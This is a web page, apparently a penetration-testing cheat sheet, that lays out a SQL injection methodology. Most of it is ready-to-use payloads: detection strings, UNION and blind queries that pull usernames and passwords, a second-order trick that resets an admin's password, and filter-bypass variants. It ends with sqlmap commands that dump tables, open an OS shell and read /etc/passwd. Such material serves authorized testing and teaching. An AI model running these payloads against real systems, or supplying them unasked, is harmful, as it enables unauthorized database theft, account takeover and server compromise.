SQL Injection
Manipulate backend SQL queries to access or modify data.
Methodology
- 1Identify injection points (GET/POST params, headers, cookies)
- 2Determine database type (MySQL, PostgreSQL, MSSQL, Oracle, SQLite)
- 3Test for error-based, UNION-based, blind (boolean & time), and out-of-band SQLi
- 4Extract data: database names → table names → column names → data
- 5Escalate: read files, write shells, execute OS commands
Detailed Steps
Submit these payloads in every input field, URL parameter, cookie, and HTTP header:
shell
' OR 1=1--
" OR 1=1--
' OR 'a'='a
1' ORDER BY 1--
1 AND 1=1
1 AND 1=2
' WAITFOR DELAY '0:0:5'--
1; SELECT SLEEP(5)--Look for: SQL errors, different responses, time delays, or behavioral changes.
Use ORDER BY to find column count:
sql
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3-- ← increment until errorOr use UNION SELECT with NULLs:
sql
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--Replace NULLs with strings to find which columns render on page:
sql
' UNION SELECT 'a',NULL,NULL--
' UNION SELECT NULL,'a',NULL--
' UNION SELECT NULL,NULL,'a'--MySQL:
sql
' UNION SELECT @@version,NULL--
' UNION SELECT schema_name,NULL FROM information_schema.schemata--
' UNION SELECT table_name,NULL FROM information_schema.tables WHERE table_schema='target_db'--
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'--
' UNION SELECT username,password FROM users--PostgreSQL:
sql
' UNION SELECT version(),NULL--
' UNION SELECT table_name,NULL FROM information_schema.tables--Oracle:
sql
' UNION SELECT banner,NULL FROM v$version--
' UNION SELECT table_name,NULL FROM all_tables--MSSQL:
sql
' UNION SELECT @@version,NULL--
' UNION SELECT name,NULL FROM sysdatabases--When no visible output but page behaves differently:
sql
' AND 1=1-- (true → normal page)
' AND 1=2-- (false → different page)
' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'--
' AND (SELECT LENGTH(password) FROM users LIMIT 1)=32--Automate with sqlmap:
bash
sqlmap -u "http://target.com/page?id=1" --batch --dbs
sqlmap -u "http://target.com/page?id=1" -D dbname -T users --dumpUse time delays when no visible difference:
MySQL:
sql
' AND SLEEP(5)--
' AND IF(1=1,SLEEP(5),0)--
' AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a',SLEEP(5),0)--PostgreSQL:
sql
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--MSSQL:
sql
'; WAITFOR DELAY '0:0:5'--
'; IF (1=1) WAITFOR DELAY '0:0:5'--Payload stored first, then executed later in a different context:
- Register with username:
admin'-- - Change password → query becomes:
sql
UPDATE users SET password='newpass' WHERE username='admin'--'- This changes admin's password instead of yours.
Space bypass:
sql
'/**/OR/**/1=1--
' OR 1=1--
'%09OR%091=1--Keyword bypass:
sql
'uNiOn SeLeCt 1,2--
' UN/**/ION SE/**/LECT 1,2--
' /*!UNION*/ /*!SELECT*/ 1,2--Quote bypass:
sql
' UNION SELECT CHAR(97),NULL--
' UNION SELECT 0x61646d696e,NULL--sqlmap (primary tool):
bash
# Basic scan
sqlmap -u "URL?param=1" --batch
# With cookies/auth
sqlmap -u "URL" --cookie="session=abc" --batch
# POST request
sqlmap -u "URL" --data="user=admin&pass=test" --batch
# Specific techniques
sqlmap -u "URL" --technique=BT --batch
# OS shell (if DBA)
sqlmap -u "URL" --os-shell --batch
# File read
sqlmap -u "URL" --file-read="/etc/passwd" --batchOther tools: Burp Suite Intruder, Havij, jSQL Injection
Tools
sqlmapBurp SuiteHavijjSQL Injection